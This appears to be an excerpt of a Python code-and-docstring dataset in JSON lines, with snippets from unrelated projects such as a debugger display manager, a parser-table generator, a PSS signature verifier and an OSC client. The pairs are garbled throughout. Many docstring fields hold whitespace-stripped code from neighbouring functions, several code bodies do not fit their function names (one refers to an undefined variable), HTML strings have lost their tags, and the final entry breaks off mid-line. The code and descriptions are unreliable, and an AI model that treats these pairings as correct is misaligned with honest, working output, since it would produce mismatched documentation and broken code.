"rThe numerical density matrix for the quantum state in the Fock basis.Keyword Args:cutoff (int): Specifies where to truncate the returned density matrix (default value is 10).Note that the cutoff argument only applies for Gaussian representation;states represented in the Fock basis will use their own internal cutoff dimension.Returns:array: the numerical density matrix in the Fock basis"} {"code": "def display(self, frame):\n what = ''\n if show_enabled:\n if self.enabled:\n what += ' y '\n else:\n what += ' n '\n pass\n pass\n if self.fmt:\n what += self.fmt + ' '\n pass\n what += self.arg\n return '%3d: %s' % (self.number, what)\n pass\n\nif __name__=='__main__':\n mgr = DisplayMgr()\n import inspect\n x = 1\n frame = inspect.currentframe()\n mgr.add(frame, 'x > 1')\n mgr.add(frame, 'x')\n print(\"Deleted recent insert:\", mgr.delete_index(2))\n for line in mgr.all(): print(line)\n mgr.enable_disable(1, False)\n for line in mgr.all(): print(line)\n print(mgr.display(frame))\n mgr.enable_disable(1, False)\n for line in mgr.display(frame): print(line)\n mgr.enable_disable(1, True)\n for line in mgr.display(frame): print(line)\n mgr.clear()\n print('-' * 10)\n for line in mgr.all(): print(line)\n pass", "nl": "display any items that are activeif not frame: returns = []sig = signature(frame)for display in self.list:if display.signature == sig and display.enabled:s.append(display.to_s(frame))passpassreturn sdef enable_disable(self, i, b_enable_disable):for display in self.list:if i == display.number:display.enabled = b_enable_disablereturnpassreturnpassclass Display:def __init__(self, frame, arg, fmt, number):self.signature = signature(frame)self.fmt = fmtself.arg = argself.enabled = Trueself.number = numberreturndef to_s(self, frame):if not frame:return 'No symbol \"' + self.arg + '\" in current context.'try:val = eval(self.arg, frame.f_globals, frame.f_locals)except:return 'No symbol \"' + self.arg + '\" in current context.'s = \"%3d: %s\" % (self.number,Mstack.print_obj(self.arg, val, self.fmt,True))return sdef format(self, show_enabled=True):format display item"} {"code": "def mock_record(source, duration):\n\n song = requests.get(\n 'https://drive.google.com/uc?export=download&id=1LAM_dxzuGlrCehg4_wIf68Z_erNaMXGs',\n stream=True)\n if song.status_code == 200:\n mock_object = Mock()\n mock_object.get_wav_data.return_value = song.content\n return mock_object\n else:\n raise Exception(\"Could not download test music\")\n\n @patch('speech_recognition.Microphone.list_microphone_names', side_effect=mock_list_microphones)\n @patch('speech_recognition.Microphone', side_effect=mock_microphone)\n @patch('speech_recognition.Recognizer.record', side_effect=mock_record)", "nl": "Method used to mock the method recordof speech_recognition to return a 15sexcerpt of the Addams Family song"} {"code": "def prepare_vocab(data_urls, pretrained_url=PRETRAINED_URL, update=True, min_count=1):\n binary = pretrained_url.endswith('.bin')\n gen_vocab_from_data(data_urls, pretrained_url, binary=binary, update=update, min_count=min_count)\n\n", "nl": " prepare vocab and embeddingArgs:data_urls: urls to data file for preparing vocabpretrained_url: url to pretrained embedding filemin_count: minimum count of wordupdate: force to update"} {"code": "def fix_up(cls, command):\n if command.transform == EventingCommand.transform:\n raise AttributeError('No EventingCommand.transform override')\n SearchCommand.ConfigurationSettings.fix_up(command)\n", "nl": " Verifies :code:`command` class structure."} {"code": "def test_pdb_next_command_for_generator():\n", "nl": "Testing skip unwindng stack on yield for generators for \"next\" command>>> def test_gen():... yield 0... return 1... yield 2>>> def test_function():... import pdb; pdb.Pdb(nosigint=True, readrc=False).set_trace()... it = test_gen()... try:... if next(it) != 0:... raise AssertionError... next(it)... except StopIteration as ex:... if ex.value != 1:... raise AssertionError... print(\"finished\")>>> with PdbTestInput(['step',... 'step',... 'step',... 'next',... 'next',... 'step',... 'step',... 'continue']):... test_function()> <doctest test.test_pdb.test_pdb_next_command_for_generator[1]>(3)test_function()-> it = test_gen()(Pdb) step> <doctest test.test_pdb.test_pdb_next_command_for_generator[1]>(4)test_function()-> try:(Pdb) step> <doctest test.test_pdb.test_pdb_next_command_for_generator[1]>(5)test_function()-> if next(it) != 0:(Pdb) step--Call--> <doctest test.test_pdb.test_pdb_next_command_for_generator[0]>(1)test_gen()-> def test_gen():(Pdb) next> <doctest test.test_pdb.test_pdb_next_command_for_generator[0]>(2)test_gen()-> yield 0(Pdb) next> <doctest test.test_pdb.test_pdb_next_command_for_generator[0]>(3)test_gen()-> return 1(Pdb) step--Return--> <doctest test.test_pdb.test_pdb_next_command_for_generator[0]>(3)test_gen()->1-> return 1(Pdb) stepStopIteration: 1> <doctest test.test_pdb.test_pdb_next_command_for_generator[1]>(7)test_function()-> next(it)(Pdb) continuefinished"} {"code": "def get_example_from_tensor_dict(self, tensor_dict):\n return self._create_examples(\n self._read_tsv(os.path.join(data_dir, \"train.tsv\")), \"train\")\n", "nl": "See base class.return InputExample(tensor_dict['idx'].numpy(),tensor_dict['premise'].numpy().decode('utf-8'),tensor_dict['hypothesis'].numpy().decode('utf-8'),str(tensor_dict['label'].numpy()))def get_train_examples(self, data_dir):See base class."} {"code": "def create_all_snapshots(volume_ids):\n for i in volume_ids:\n snapshot(i)\n return True\n\n", "nl": "Creates the snapshots of all volumes in the provided list.Params:volume_ids (list): List of volumes attached to the instanceReturns:None"} {"code": "def play(self, settings, context, calling_context, priority=0, **kwargs):\n if value:\n self.play(settings, context, \"\", priority, key=key)\n else:\n self._remove(settings, context, key=key)\n", "nl": "Set light color based on config.key = kwargs.get(\"key\", \"\")instance_dict = self._get_instance_dict(context)full_context = self._get_full_context(context + key)start_time = kwargs.get(\"start_time\", None)for light, s in settings.items():final_priority = s[\"priority\"]try:final_priority += priorityexcept KeyError:final_priority = priorityif isinstance(light, str):light_names = Util.string_to_event_list(light)for light_name in light_names:# skip non-replaced placeholdersif not light_name or light_name[0:1] == \"(\" and light_name[-1:] == \")\":continueself._light_named_color(light_name, instance_dict, full_context, s['color'], s[\"fade\"],final_priority, start_time)else:self._light_color(light, instance_dict, full_context, s['color'], s[\"fade\"], final_priority, start_time)def _remove(self, settings, context, key=\"\"):instance_dict = self._get_instance_dict(context)full_context = self._get_full_context(context + key)for light, s in settings.items():if isinstance(light, str):light_names = Util.string_to_event_list(light)for light_name in light_names:self._light_remove_named(light_name, instance_dict, full_context, s['fade'])else:self._light_remove(light, instance_dict, full_context, s['fade'])def _light_remove_named(self, light_name, instance_dict, full_context, fade_ms):try:lights = [self.machine.lights[light_name]]except KeyError:lights = self.machine.lights.items_tagged(light_name)for light in lights:self._light_remove(light, instance_dict, full_context, fade_ms)@staticmethoddef _light_remove(light, instance_dict, full_context, fade_ms):light.remove_from_stack_by_key(full_context, fade_ms)try:del instance_dict[(full_context, light)]except KeyError:pass# pylint: disable-msg=too-many-argumentsdef handle_subscription_change(self, value, settings, priority, context, key):Handle subscriptions."} {"code": "def inference(self, input_audio, n_chunks=4):\n assert len(input_audio) == self.stages_num\n\n chunks = [int(input_audio[0].shape[-1] / n_chunks * c + 0.5) for c in range(n_chunks)]\n chunks.append(input_audio[0].shape[-1])\n chunk_intervals = [(max(0, chunks[n] - self.base_sr*8), min(chunks[n+1] + self.base_sr*8, input_audio[0].shape[-1])) for n in range(n_chunks)]\n chunk_intervals = [(s, e - ((e-s) % self.W)) if s == 0 else (s + (e-s) % self.W, e) for s, e in chunk_intervals]\n\n full_outputs = None\n for c in range(n_chunks):\n outputs, hidden = [], None\n for i, stage in enumerate(self.stages):\n m = 2**i\n output, hidden = stage.inference(input_audio[i][:, :, m*chunk_intervals[c][0]: m*chunk_intervals[c][1]], hidden)\n\n output = output[:, :, :, m*(chunks[c] - chunk_intervals[c][0]): output.shape[-1] - m*((chunk_intervals[c][1] - chunks[c+1]))]\n outputs.append(output)\n\n del hidden\n\n if full_outputs is None:\n full_outputs = outputs\n else:\n full_outputs = [torch.cat([f, o], -1) for f, o in zip(full_outputs, outputs)]\n\n return full_outputs\n", "nl": "Forward pass for inference; returns the separated signalArguments:input_audio {torch.tensor} -- List of mixed signals for all stages of shape (B, 1, T)Keyword Arguments:n_chunks {int} -- Divide the $input_audio to chunks to trade speed for memory (default: {4})Returns:torch.tensor -- Separated signal of shape (1, 4, 1, T)"} {"code": "def _connect(self):\n self._agent.stop()\n self._agent_thread.join()\n self._agent_thread = None\n", "nl": "Connect to this proxy environment. It starts a proxy agent that can interact with the framework.if self._agent_thread.is_alive():raise ValueError(\"Agent already running.\")self._agent_thread.start()while not self._agent.runtime.is_running: # check agent completely runningtime.sleep(0.01)def _disconnect(self):Disconnect from this proxy environment. It stops the proxy agent and kills its thread."} {"code": "def add_clause(self, clause):\n self.__clauses.append(clause)\n", "nl": "Adds a clause to the contract.Args:clause: A ContractClause."} {"code": "def list_directory(self, path):\n try:\n list = os.listdir(path)\n except os.error:\n self.send_error(404, \"No permission to list directory\")\n return None\n list.sort(key=lambda a: a.lower())\n f = StringIO()\n displaypath = cgi.escape(urllib.unquote(self.path))\n f.write('<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 3.2 Final//EN\">')\n f.write(\"<html>\\n<title>Directory listing for %s\\n\" % displaypath)\n f.write(\"\\n

Directory listing for %s

\\n\" % displaypath)\n f.write(\"
\\n\")\n f.write(\"
\")\n f.write(\"\")\n f.write(\"
\\n\")\n f.write(\"
\\n
\\n
\\n\\n\\n\")\n length = f.tell()\n f.seek(0)\n self.send_response(200)\n self.send_header(\"Content-type\", \"text/html\")\n self.send_header(\"Content-Length\", str(length))\n self.end_headers()\n return f\n", "nl": "Helper to produce a directory listing (absent index.html).Return value is either a file object, or None (indicating anerror). In either case, the headers are sent, making theinterface the same as for send_head()."} {"code": "def __str__(self):\n return 'Token({type}, {value})'.format(\n type=self.type,\n value=repr(self.value)\n )\n", "nl": "String representation of the class instance.Examples:Token(INTEGER, 3)Token(PLUS, '+')"} {"code": "def find_loader(self, fullname):\n spec = self.find_spec(fullname)\n if spec is None:\n return None, []\n return spec.loader, spec.submodule_search_locations or []\n", "nl": "Try to find a loader for the specified module, or the namespacepackage portions. Returns (loader, list-of-portions).This method is deprecated. Use find_spec() instead."} {"code": "def __del__(self):\n pass\n", "nl": "Destructor. Calls close().# The try/except block is in case this is called at program# exit time, when it's possible that globals have already been# deleted, and then the close() call might fail. Since# there's nothing we can do about such failures and they annoy# the end users, we suppress the traceback.try:self.close()except:passdef writelines(self, sequence):for line in sequence:self.write(line)def flush(self):flush of file like objects"} {"code": "def test_get_preferred_repository_none(self, empty_user_preferences):\n assert empty_user_preferences.get_preferred_repository() == None\n", "nl": "If no preferred repository is set, return None"} {"code": "def longitude(self):\n return self._longitude\n\n @longitude.setter", "nl": "(scalar) The unsigned numerical value of the longitude.Always in the range 0 to 180. Must be combined with the ``hemisphere``attribute to specify the exact latitude."} {"code": "def load_results_dir(package_dirpath):\n tgz_filepath = path.join(package_dirpath, RESULTS_DIR_TARBALL)\n if not path.exists(tgz_filepath):\n return None, None\n\n tgz = tarfile.open(tgz_filepath, 'r:gz')\n tmp_dirpath = autotemp.tempdir(unique_id='scenario_base')\n results_dirname = tgz.next().name\n tgz.extract(results_dirname, tmp_dirpath.name)\n for info in tgz:\n tgz.extract(info.name, tmp_dirpath.name)\n return tmp_dirpath, path.join(tmp_dirpath.name, results_dirname)\n\n", "nl": "Unpack results tarball in package_dirpath to temp dir.Args:package_dirpath: str; Path to scenario package directory.Returns:str; New temp path for extracted results directory.- Or -None; If tarball does not exist"} {"code": "def _all_eq(left, right):\n return _all(operator.eq, left, right)\n\n", "nl": "Short circuit all eq for ndarray."} {"code": "def get_approx_contour(contour, tol=.01):\n\n In the real world, we cannot assume that the corners will always be present,\n and we likely need to decide how good is good enough for contour to\n look like a corner.\n This is essentially a classification problem. A good approach would be\n to train a statistical classifier model and apply it here. In our little\n exercise, we assume the corners are necessarily there.\"\"\"", "nl": "Gets rid of 'useless' points in the contour.epsilon = tol * cv2.arcLength(contour, True)return cv2.approxPolyDP(contour, epsilon, True)def get_contours(image_gray):contours, _ = cv2.findContours(image_gray, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)return map(get_approx_contour, contours)def get_corners(contours):Returns the 4 contours that look like a corner the most."} {"code": "def Value(self, step=None):\n\n If x < x0, returns y0. If x >= x1, returns y1. Otherwise,\n interpolate with a polynomial between (x0, y0) and (x1, y1).\n\n \"\"\"", "nl": "Returns the current learning rate decay.return self.params.initial_value * self.exp.Value(step)class PolynomialSchedule(BaseSchedule):Polynomial learning rates."} {"code": "def extract(condition, arr):\n return _nx.take(ravel(arr), nonzero(ravel(condition))[0])\n\n", "nl": "Return the elements of an array that satisfy some condition.This is equivalent to ``np.compress(ravel(condition), ravel(arr))``. If`condition` is boolean ``np.extract`` is equivalent to ``arr[condition]``.Note that `place` does the exact opposite of `extract`.Parameters----------condition : array_likeAn array whose nonzero or True entries indicate the elements of `arr`to extract.arr : array_likeInput array of the same size as `condition`.Returns-------extract : ndarrayRank 1 array of values from `arr` where `condition` is True.See Also--------take, put, copyto, compress, placeExamples-------->>> arr = np.arange(12).reshape((3, 4))>>> arrarray([[ 0, 1, 2, 3],[ 4, 5, 6, 7],[ 8, 9, 10, 11]])>>> condition = np.mod(arr, 3)==0>>> conditionarray([[ True, False, False, True],[False, False, True, False],[False, True, False, False]], dtype=bool)>>> np.extract(condition, arr)array([0, 3, 6, 9])If `condition` is boolean:>>> arr[condition]array([0, 3, 6, 9])"} {"code": "def _stop_daemons(self):\n Start the VM by running a qemu command.\n All parameters are optional. If name, params or root_dir are not\n supplied, the respective values stored as class attributes are used.\n\n :param name: The name of the object\n :param params: A dict containing VM params\n :param root_dir: Base directory for relative filenames\n :param migration_mode: If supplied, start VM for incoming migration\n using this protocol (either 'rdma', 'x-rdma', 'rdma', 'tcp', 'unix' or 'exec')\n :param migration_exec_cmd: Command to embed in '-incoming \"exec: ...\"'\n (e.g. 'gzip -c -d filename') if migration_mode is 'exec'", "nl": "Stop the daemons of qemu device.if self.devices:for dev in self.devices:if isinstance(dev, qdevices.QDaemonDev):try:dev.stop_daemon()except DeviceError as err:LOG.error(\"Failed to stop daemon: %s\", err)@error_context.context_awaredef create(self, name=None, params=None, root_dir=None,timeout=120, migration_mode=None,migration_exec_cmd=None, migration_fd=None,mac_source=None):"} {"code": "def execute_cpu_tf2(self, compute_fn, inputs):\n if not self.is_tf2():\n raise ValueError('Required version TensorFlow 2.0 is not available.')\n @tf.function", "nl": "Executes compute_fn on CPU with Tensorflow 2.X.Args:compute_fn: a function containing Tensorflow computation that takes a listof input numpy tensors, performs computation and returns output numpytensors.inputs: a list of numpy arrays to feed input to the `compute_fn`.Returns:A list of numpy arrays or a single numpy array."} {"code": "def ids_tensor(cls, shape, vocab_size, rng=None, name=None):\n graph = sess.graph\n\n ignore_strings = [\n \"^.*/assert_less_equal/.*$\",\n \"^.*/dilation_rate$\",\n \"^.*/Tensordot/concat$\",\n \"^.*/Tensordot/concat/axis$\",\n \"^testing/.*$\",\n ]\n\n ignore_regexes = [re.compile(x) for x in ignore_strings]\n\n unreachable = self.get_unreachable_ops(graph, outputs)\n filtered_unreachable = []\n for x in unreachable:\n do_ignore = False\n for r in ignore_regexes:\n m = r.match(x.name)\n if m is not None:\n do_ignore = True\n if do_ignore:\n continue\n filtered_unreachable.append(x)\n unreachable = filtered_unreachable\n\n self.assertEqual(\n len(unreachable), 0, \"The following ops are unreachable: %s\" %\n (\" \".join([x.name for x in unreachable])))\n\n @classmethod", "nl": "Creates a random int32 tensor of the shape within the vocab size.if rng is None:rng = random.Random()total_dims = 1for dim in shape:total_dims *= dimvalues = []for _ in range(total_dims):values.append(rng.randint(0, vocab_size - 1))return tf.constant(value=values, dtype=tf.int32, shape=shape, name=name)def assert_all_tensors_reachable(self, sess, outputs):Checks that all the tensors in the graph are reachable from outputs."} {"code": "def criticalError(self):\n\n Args:\n files_config (dict): the files configuration part of the overall JSON config\n \"\"\"", "nl": "Critical error that mandates we exit WITHOUT showing partial results to the user, we must exit now.raise NotImplementedError(\"Subclasses should implement this!\")def loadAndPrepareSource(self, files_config):Load the stored info on the source files, and prepares the source contexts for use."} {"code": "def ReportTable(lemp, outputStream=None):", "nl": "Generate C source code for the parser._in = tplt_open(lemp)if _in is None:returnif outputStream is None:out = file_open(lemp, \".py\", \"wb\")if out is None:_in.close()returnelse:out = outputStreamindent = tplt_xfer(lemp.name, _in, out)## Generate definitions for all tokens#prefix = lemp.tokenprefix or \"\"for i in range(1, lemp.nterminal):fprintf(out, \"%s%s%-30s = %2d\\n\",indent, prefix, lemp.symbols[i].name, i)indent = tplt_xfer(lemp.name, _in, out)## Generate the defines#fprintf(out, \"%sYYNOCODE = %d\\n\", indent, lemp.nsymbol + 1)if lemp.wildcard:fprintf(out, \"%sYYWILDCARD = %d\\n\",indent, lemp.wildcard.index)fprintf(out, \"%sYYNSTATE = %d\\n\", indent, lemp.nstate)fprintf(out, \"%sYYNRULE = %d\\n\", indent, lemp.nrule)if lemp.errsym.useCnt:fprintf(out, \"%sYYERRORSYMBOL = %d\\n\", indent, lemp.errsym.index)indent = tplt_xfer(lemp.name, _in, out)# Generate the action table and its associates:## yy_action[] A single table containing all actions.# yy_lookahead[] A table containing the lookahead for each entry in# yy_action. Used to detect hash collisions.# yy_shift_ofst[] For each state, the offset into yy_action for# shifting terminals.# yy_reduce_ofst[] For each state, the offset into yy_action for# shifting non-terminals after a reduce.# yy_default[] Default action for each state.## Compute the actions on all states and count them up#ax = [None] * (lemp.nstate * 2)for i in range(lemp.nstate):stp = lemp.sorted[i]ax[i*2] = axset(stp = stp,isTkn = True,nAction = stp.nTknAct,iOrder = -1,)ax[i*2+1] = axset(stp = stp,isTkn = False,nAction = stp.nNtAct,iOrder = -1,)# Compute the action table. In order to try to keep the size of# the action table to a minimum, the heuristic of placing the# largest action sets first is used.mxTknOfst = mnTknOfst = 0mxNtOfst = mnNtOfst = 0for i in range(lemp.nstate*2):ax[i].iOrder = iax.sort(cmp = axset_compare)pActtab = acttab_alloc()i = 0while i < lemp.nstate*2 and ax[i].nAction > 0:stp = ax[i].stpif ax[i].isTkn:for ap in iterlinks(stp.ap):if ap.sp.index >= lemp.nterminal:continueaction = compute_action(lemp, ap)if action < 0:continueacttab_action(pActtab, ap.sp.index, action)stp.iTknOfst = acttab_insert(pActtab)if stp.iTknOfst < mnTknOfst:mnTknOfst = stp.iTknOfstif stp.iTknOfst > mxTknOfst:mxTknOfst = stp.iTknOfstelse:for ap in iterlinks(stp.ap):if ap.sp.index < lemp.nterminal:continueif ap.sp.index == lemp.nsymbol:continueaction = compute_action(lemp, ap)if action < 0:continueacttab_action(pActtab, ap.sp.index, action)stp.iNtOfst = acttab_insert(pActtab)if stp.iNtOfst < mnNtOfst:mnNtOfst = stp.iNtOfstif stp.iNtOfst > mxNtOfst:mxNtOfst = stp.iNtOfsti += 1ax = None## Output the yy_action table#n = acttab_size(pActtab)fprintf(out, \"%sYY_ACTTAB_COUNT = %d\\n\", indent, n)fprintf(out, \"%syy_action = [\\n\", indent)j = 0for i in range(n):action = acttab_yyaction(pActtab, i)if action < 0:action = lemp.nstate + lemp.nrule + 2if j == 0:fprintf(out, \"%s \", indent)fprintf(out, \" %4d,\", action)if j == 9 or i == n - 1:fprintf(out, \" # %5d\\n\", i - j)j = 0else:j += 1fprintf(out, \"%s ]\\n\", indent)## Output the yy_lookahead table#fprintf(out, \"%syy_lookahead = [\\n\", indent)j = 0for i in range(n):la = acttab_yylookahead(pActtab, i)if la < 0:la = lemp.nsymbolif j == 0:fprintf(out, \"%s \", indent)fprintf(out, \" %4d,\", la)if j == 9 or i == n - 1:fprintf(out, \" # %5d\\n\", i - j)j = 0else:j += 1fprintf(out, \"%s ]\\n\", indent)## Output the yy_shift_ofst[] table#fprintf(out, \"%sYY_SHIFT_USE_DFLT = %d\\n\", indent, mnTknOfst - 1)n = lemp.nstatewhile n > 0 and lemp.sorted[n-1].iTknOfst == NO_OFFSET:n -= 1fprintf(out, \"%sYY_SHIFT_COUNT = %d\\n\", indent, n - 1)fprintf(out, \"%sYY_SHIFT_MIN = %d\\n\", indent, mnTknOfst)fprintf(out, \"%sYY_SHIFT_MAX = %d\\n\", indent, mxTknOfst)fprintf(out, \"%syy_shift_ofst = [\\n\", indent)j = 0for i in range(n):stp = lemp.sorted[i]ofst = stp.iTknOfstif ofst == NO_OFFSET:ofst = mnTknOfst - 1if j == 0:fprintf(out, \"%s \", indent)fprintf(out, \" %4d,\", ofst)if j == 9 or i == n - 1:fprintf(out, \" # %5d\\n\", i - j)j = 0else:j += 1fprintf(out, \"%s ]\\n\", indent)## Output the yy_reduce_ofst[] table#fprintf(out, \"%sYY_REDUCE_USE_DFLT = %d\\n\", indent, mnNtOfst - 1)n = lemp.nstatewhile n > 0 and lemp.sorted[n-1].iNtOfst == NO_OFFSET:n -= 1fprintf(out, \"%sYY_REDUCE_COUNT = %d\\n\", indent, n - 1)fprintf(out, \"%sYY_REDUCE_MIN = %d\\n\", indent, mnNtOfst)fprintf(out, \"%sYY_REDUCE_MAX = %d\\n\", indent, mxNtOfst)fprintf(out, \"%syy_reduce_ofst = [\\n\", indent)j = 0for i in range(n):stp = lemp.sorted[i]ofst = stp.iNtOfstif ofst == NO_OFFSET:ofst = mnNtOfst - 1if j == 0:fprintf(out, \"%s \", indent)fprintf(out, \" %4d,\", ofst)if j == 9 or i == n - 1:fprintf(out, \" # %5d\\n\", i - j)j = 0else:j += 1fprintf(out, \"%s ]\\n\", indent)## Output the default action table#fprintf(out, \"%syy_default = [\\n\", indent)n = lemp.nstatej = 0for i in range(n):stp = lemp.sorted[i]if j == 0:fprintf(out, \"%s \", indent)fprintf(out, \" %4d,\", stp.iDflt)if j == 9 or i == n - 1:fprintf(out, \" # %5d\\n\", i - j)j = 0else:j += 1fprintf(out, \"%s ]\\n\", indent)indent = tplt_xfer(lemp.name, _in, out)## Generate the table of fallback tokens.#if lemp.has_fallback:mx = lemp.nterminal - 1while mx > 0 and lemp.symbols[mx].fallback is None:mx -= 1for i in range(mx + 1):p = lemp.symbols[i]if p.fallback is None:fprintf(out, \"%s 0, # %10s => nothing\\n\", indent, p.name)else:fprintf(out, \"%s%3d, # %10s => %s\\n\",indent, p.fallback.index, p.name, p.fallback.name)indent = tplt_xfer(lemp.name, _in, out)## Generate a table containing the symbolic name of every symbol#for i in range(lemp.nsymbol):line = \"\\\"%s\\\",\" % lemp.symbols[i].namefprintf(out, \"%s%-15s\", indent, line)if (i & 3) == 3:fprintf(out, \"\\n\")if (i & 3) != 3:fprintf(out, \"\\n\")indent = tplt_xfer(lemp.name, _in, out)# Generate a table containing a text string that describes every# rule in the rule set of the grammer. This information is used# when tracing REDUCE actions.for i, rp in enumerate(iterlinks(lemp.rule)):assert rp.index == ifprintf(out, \"%s\\\"\", indent)writeRuleText(out, rp)fprintf(out, \"\\\", # %3d\\n\", i)indent = tplt_xfer(lemp.name, _in, out)# Generate the table of rule information## Note: This code depends on the fact that rules are number# sequentually beginning with 0.for rp in iterlinks(lemp.rule):fprintf(out, \"%syyRuleInfoEntry( %d, %d ),\\n\", indent, rp.lhs.index, rp.nrhs)indent = tplt_xfer(lemp.name, _in, out)## Generate code which execution during each REDUCE action#for rp in iterlinks(lemp.rule):generate_action(out, indent, lemp, rp)fprintf(out, \"%syy_action_method = [\\n\", indent)for i, rp in enumerate(iterlinks(lemp.rule)):assert i == rp.indexfprintf(out, \"%s action_%03d,\\n\", indent, i)fprintf(out, \"%s]\\n\", indent)tplt_xfer(lemp.name, _in, out)_in.close()if not outputStream:out.close()returndef CompressTables(lemp):Reduce the size of the action tables, if possible, by making use"} {"code": "def from_service_account_file(cls, filename: str, *args, **kwargs):\n return ProductSearchClient.from_service_account_file.__func__(ProductSearchAsyncClient, filename, *args, **kwargs)\n\n from_service_account_json = from_service_account_file\n\n @classmethod", "nl": "Creates an instance of this client using the provided credentialsfile.Args:filename (str): The path to the service account private key jsonfile.args: Additional arguments to pass to the constructor.kwargs: Additional arguments to pass to the constructor.Returns:ProductSearchAsyncClient: The constructed client."} {"code": "def _distill_params(multiparams, params):\n\n if not multiparams:\n if params:\n return [params]\n else:\n return []\n elif len(multiparams) == 1:\n zero = multiparams[0]\n if isinstance(zero, (list, tuple)):\n if not zero or hasattr(zero[0], '__iter__') and \\\n not hasattr(zero[0], 'strip'):\n return zero\n else:\n return [zero]\n elif hasattr(zero, 'keys'):\n return [zero]\n else:\n return [[zero]]\n else:\n if hasattr(multiparams[0], '__iter__') and \\\n not hasattr(multiparams[0], 'strip'):\n return multiparams\n else:\n return [multiparams]\n\n return locals()\ntry:\n from sqlalchemy.cutils import _distill_params\nexcept ImportError:\n globals().update(py_fallback())", "nl": "Given arguments from the calling form *multiparams, **params,return a list of bind parameter structures, usually a list ofdictionaries.In the case of 'raw' execution which accepts positional parameters,it may be a list of tuples or lists."} {"code": "def parse_dict(self, value, indent):\n\n if value is not None and isinstance(value, dict):\n if len(value):\n dictionary = '%(name)s = {\\n%(content)s}\\n' % {\n 'name': name,\n 'content': self.parse_dict(value, 1)\n }\n else:\n dictionary = '%s%s = {}\\n' % name\n else:\n dictionary = '%s = None\\n' % name\n return dictionary\n", "nl": "Parse dictionary.dictionary = ''for k, v in value.items():if v is None:dictionary += '%(indent)s%(name)s: None,\\n' % {'name': self.simple_format_string(k),'indent': ' ' * indent}elif isinstance(v, str):dictionary += '%(indent)s%(name)s: %(content)s,\\n' % {'name': self.simple_format_string(k),'indent': ' ' * indent,'content': self.simple_format_string(v)}elif isinstance(v, (int, float)):dictionary += '%(indent)s%(name)s: %(content)s,\\n' % {'name': self.simple_format_string(k),'indent': ' ' * indent,'content': v.__repr__()}elif isinstance(v, list):dictionary += '%(indent)s%(name)s: [\\n%(content)s%(indent)s],\\n' % {'name': self.simple_format_string(k),'indent': ' ' * indent,'content': self.parse_array(v, indent + 1)}elif isinstance(v, dict):dictionary += '%(indent)s%(name)s: {\\n%(content)s%(indent)s},\\n' % {'name': self.simple_format_string(k),'indent': ' ' * indent,'content': self.parse_dict(v, indent + 1)}return dictionarydef format_dict(self, name, value):Format dictionary."} {"code": "def setup(cls):\n assert isinstance(self.dialogue_stats.self_initiated, dict)\n assert self.dialogue_stats.self_initiated == {\n Dialogue.EndState.SUCCESSFUL: 0,\n Dialogue.EndState.FAILED: 0,\n }\n assert self.dialogue_stats.other_initiated == {\n Dialogue.EndState.SUCCESSFUL: 0,\n Dialogue.EndState.FAILED: 0,\n }\n", "nl": "Initialise the environment to test DialogueStats.cls.agent_address = \"agent 1\"cls.opponent_address = \"agent 2\"cls.dialogue_label = DialogueLabel(dialogue_reference=(str(1), \"\"),dialogue_opponent_addr=cls.opponent_address,dialogue_starter_addr=cls.agent_address,)cls.dialogue = Dialogue(dialogue_label=cls.dialogue_label)end_states = frozenset({Dialogue.EndState.SUCCESSFUL, Dialogue.EndState.FAILED}) # type: FrozenSet[BaseDialogue.EndState]cls.dialogue_stats = DialogueStats(end_states)def test_properties(self):Test dialogue properties."} {"code": "def sendto(self, msg, address, timeout=None):\n if not isinstance(msg, OSCMessage):\n raise TypeError(\"'msg' argument is not an OSCMessage or OSCBundle object\")\n return\n\n ret = select.select([],[self._fd], [], timeout)\n try:\n ret[1].index(self._fd)\n except:\n raise OSCClientError(\"Timed out waiting for file descriptor\")\n\n try:\n self.socket.sendto(msg.getBinary(),address)\n\n except socket.error, e:\n if e[0] in (7, 65):\n raise e\n else:\n raise OSCClientError(\"while sending to %s: %s\" % (str(address), str(e)))\n\n\n\n", "nl": "Send the given OSCMessage to the specified address.- msg: OSCMessage (or OSCBundle) to be sent- address: (host, port) tuple specifing remote server to send the message to- timeout: A timeout value for attempting to send. If timeout == None,this call blocks until socket is available for writing.Raises OSCClientError when timing out while waiting for the socket."} {"code": "def get_min_fee_rate(self, cost: int) -> float:\n\n if self.at_full_capacity(cost):\n current_cost = self.total_mempool_cost\n\n for fee_per_cost, spends_with_fpc in self.sorted_spends.items():\n for spend_name, item in spends_with_fpc.items():\n current_cost -= item.cost\n if current_cost + cost <= self.max_size_in_cost:\n return fee_per_cost\n raise ValueError(\n f\"Transaction with cost {cost} does not fit in mempool of max cost {self.max_size_in_cost}\"\n )\n else:\n return 0\n", "nl": "Gets the minimum fpc rate that a transaction with specified cost will need in order to get included."} {"code": "def _EMSA_PSS_VERIFY(mhash, em, emBits, mgf, sLen):\n\n emLen = ceil_div(emBits, 8)\n\n lmask = 0\n for i in iter_range(8*emLen-emBits):\n lmask = lmask >> 1 | 0x80\n\n if emLen < mhash.digest_size+sLen+2:\n raise ValueError(\"Incorrect signature\")\n if ord(em[-1:]) != 0xBC:\n raise ValueError(\"Incorrect signature\")\n maskedDB = em[:emLen-mhash.digest_size-1]\n h = em[emLen-mhash.digest_size-1:-1]\n if lmask & bord(em[0]):\n raise ValueError(\"Incorrect signature\")\n dbMask = mgf(h, emLen-mhash.digest_size-1)\n db = strxor(maskedDB, dbMask)\n db = bchr(bord(db[0]) & ~lmask) + db[1:]\n if not db.startswith(bchr(0)*(emLen-mhash.digest_size-sLen-2) + bchr(1)):\n raise ValueError(\"Incorrect signature\")\n if sLen > 0:\n salt = db[-sLen:]\n else:\n salt = b\"\"\n m_prime = bchr(0)*8 + mhash.digest() + salt\n hobj = mhash.new()\n hobj.update(m_prime)\n hp = hobj.digest()\n if h != hp:\n raise ValueError(\"Incorrect signature\")\n\n", "nl": "Implement the ``EMSA-PSS-VERIFY`` function, as definedin PKCS#1 v2.1 (RFC3447, 9.1.2).``EMSA-PSS-VERIFY`` actually accepts the message ``M`` as input,and hash it internally. Here, we expect that the message has alreadybeen hashed instead.:Parameters:mhash : hash objectThe hash object that holds the digest of the message to be verified.em : stringThe signature to verify, therefore proving that the sender reallysigned the message that was received.emBits : intLength of the final encoding (em), in bits.mgf : callableA mask generation function that accepts two parameters: a string touse as seed, and the lenth of the mask to generate, in bytes.sLen : intLength of the salt, in bytes.:Raise ValueError:When the encoding is inconsistent, or the digest or salt lengthsare too big."} {"code": "def get_python_version(python_path: pathlib.Path) -> Union[str, None]:\n try:\n proc = 